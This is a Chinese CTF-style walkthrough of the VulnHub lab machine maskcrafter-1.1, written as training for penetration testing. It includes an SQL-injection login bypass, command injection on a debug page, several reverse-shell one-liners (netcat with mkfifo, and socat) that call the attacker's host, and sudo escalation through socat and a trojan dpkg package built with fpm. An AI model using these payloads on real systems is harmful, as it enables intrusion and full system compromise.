VulnHub是一個安全平臺,內含衆多滲透測試的靶場鏡像,只需要下載至本地並在虛擬機上運行,即可得到一個完整的滲透測試練習系統,每一個靶機都有目標去完成,大多是拿到root權限。
文章較臃長,記錄了不斷測試並完成目標的過程。
文章目錄
一、相關簡介
靶機:
該靶機設定敏感信息泄露、Web漏洞以及系統中sudo權限的不安全配置等漏洞。
- 名稱:maskcrafter-1.1
- 難度:初學者
- 目標:root 權限
環境:
- 靶機:maskcrafter-1.1——192,168.11.12
- 攻擊機:Kali——192.168.11.11
- 工具:Nmap、dirb、NetCat(nc)、BurpSuit、fpm等
流程:
- 信息蒐集
- Web站點滲透並得到 OS shell
- 逐用戶提權,最終拿到 root 權限
二、滲透步驟
1、信息蒐集
Nmap主機掃描,開放端口比較多
Web指紋識別,出現一個可疑郵箱
dirb Web目錄掃描,發現許多敏感路徑
經過掃描,大致得到有以下信息:
主機:
- OS:Ubuntu
- Web:Apache 2.4.29
- 21端口:ftp vsftpd 2.0.8 or later
- 22端口:ssh OpenSSH 7.6p1
- 80端口:http Apache httpd 2.4.29
- 111端口:RPC rpcbind 2-4
- 2049端口:RPC nfs_acl 3
Web敏感路徑:
- ./robots.txt
- ./debug
- ./login.php
- ./phpmyadmin
2、漏洞發現
Ps:任意命令執行漏洞
查看robots,給出 debug 目錄
訪問ftp服務器,發現兩個可疑文件
壓縮文件是加密的,嘗試後沒有打開,NOTES.txt 內容如下:
1)請爲/debug Web目錄選擇一個更強的密碼。
用戶名爲“admin”已經是可以猜測的了,但是選擇字典密碼是一個大大的禁忌。
2)請重新檢查SQL代碼以防止SQL注入,因爲現在的方式是非常糟糕的。
基本上,我們希望並祈禱沒有黑客發現這件事。
根據文件內容基本可以知道,存在一個admin的用戶,而且密碼很簡單!再一個就是web站點可能存在SQL注入漏洞。
OK,訪問Web站點,是一個登錄框,爆破無果後,使用萬能密碼成功登入
admin
' or 1=1 #
提示如果發現漏洞就向 [email protected] 報告,給出了一個郵箱,再無其他信息,但是這個郵箱並沒有成功用來打開壓縮文件。
看一下debug路徑,是一個需要帳戶密碼的連接頁面,想到了之前的 NOTES.txt 提示,於是使用 admin admin
成功進入系統
是一個選擇系統命令去執行的功能,自然想到任意命令執行漏洞,選擇ifconfig,提交併打開BP抓包
修改命令爲 cat /etc/passwd
,成功執行
3、漏洞利用
3.1、建立反彈shell
存在任意命令執行漏洞,nc監聽,建立反彈shell
但是使用 nc 來反彈一直未成功,後來才發現靶機上轉的 nc 是沒有 -e參數的 OpenBSD netcat ,所以不能直接使用以下語句建立shell(奇怪的是直接使用bash來建立shell也不可以):
nc 192.168.11.11 9999 -e /bin/bash
經過查詢得知,可以使用以下語句來繞過 -e 參數
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
原理如下:
mkfifo 命令首先創建了一個管道,cat 將管道里面的內容輸出傳遞給/bin/sh,sh會執行管道里的命令並將標準輸出和標準錯誤輸出結果通過nc 傳到該管道,由此形成了一個迴路
具體見以下博文:
OK,成功建立,使用python創建完整shell環境
3.2、逐步提權至其他用戶
1)提權至 userx 用戶
在查看權限以及SUID文件無線索後,在網站目錄下發現了一個 db.php 文件,懷疑是數據庫鏈接文件,打開果然是,有帳戶密碼
使用該賬戶成功登入網站的phpmyadmin後臺,在 mydatabases庫中發現了壓縮文件的密碼
還有兩個登錄帳戶密碼,經測試是主頁存在sql注入處的賬戶,沒有有用信息
使用得到的密碼解開壓縮文件,得到另一個密碼
之前cat /etc/passwd時發現系統有四個用戶:
- userx:1000
- researcherx:1001
- evdaez:1002
外加一個root
根據 uid 以及查看用戶目錄的線索,懷疑是逐步提權
使用得到的密碼:thisismypasswordforuserx2020
成功切換至 userx 用戶
2)提權至 evdaez 用戶
既然可以登錄,那麼就使用該賬戶來連接ssh服務吧,有自動補全,方便操作一些
查看sudo權限,發現了有一個 evdaez 用戶權限的 /scripts/whatsmyid.sh
bash文件
但是該文件的所屬是當前用戶,那麼就可以對文件經行編輯,使其執行/bin/bash文件即可
使用 sudo -u evdaez /scripts/whatsmyid.sh
即可提權至 evdaez 用戶
3)提權至 researcherx 用戶
查看當前用戶下的 sudo 權限,果然發現了 researcherx 用戶權限文件
是一個 socat 的二進制文件
socat 是一個多功能的網絡工具,名字來由是“Socket CAT”,可以看作是netcat的加強版
在 https://gtfobins.github.io/ 上查一下相關提權命令,找到有反向shell的相關命令
使用以下命令成功提權至 researcherx 用戶
kali:socat file:`tty`,raw,echo=0 tcp-listen:12345
靶機:sudo -u researcherx socat tcp-connect:192.168.11.11:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
4、權限提升
Ps:提權至 root 用戶
由於要保持完整的滲透步驟,所以將提權至 root 用戶單獨寫出來
查看當前 researcherx 用戶的sudo權限,發現了 dpkg 二進制文件
同樣查找相關提權命令,查到2個,如下
但是我在 kali 上測試第一種就可以,而在靶機的 shell 中第一種就不行, -l 參數並沒有逐行顯示,所以只能使用第二種打包木馬的方式。
先在kali上安裝 fpm,網頁中已經給出了 fpm 的 github 地址
FPM: 簡單的說就是將一種類型的包轉換成另外一種類型
但是直接下載github軟件包後,並沒有成功執行,所以乾脆按照網上的額方法,使用 gem 來安裝 fpm 程序,詳見以下博文:
因爲 kali 上已經有 ruby ,所以直接安裝 rubygems,步驟也稍有不同
具體步驟:
apt-get install rubygems
gem sources -a http://mirrors.aliyun.com/rubygems/
gem sources --remove https://rubygems.org/
gem install fpm
成功安裝 fpm
新建一個 bash 腳本文件並寫入文檔中的內容,賦予其執行權限
內容含義:
打包一個程序文件,讓它在 install 之前執行指定命令:exec /bin/bash ,由此就可以提權至其他用戶
運行 創建的 bash 文件即可生成木馬程序包
kali 本地使用 python 打開一個 http 服務器,監聽8800端口
通過wget將木馬程序下載到靶機
利用 sudo -u root dpkg -i 軟件包
即可提權至 root 權限
進入 root 目錄,拿到 flag
三、知識總結
整體步驟:
- 利用 ftp 文件信息泄露得到 debug 相關帳戶信息
- 登入 Web,發現任意命令執行漏洞,得到 OS Shell
- 利用 sudo 權限配置不當,逐步提權至 root
知識點:
-
socat 反彈shell
kali: socat file:
tty
,raw,echo=0 tcp-listen:12345
靶機: sudo -u researcherx socat tcp-connect:192.168.11.11:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane -
OpenBSD netcat 反彈shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f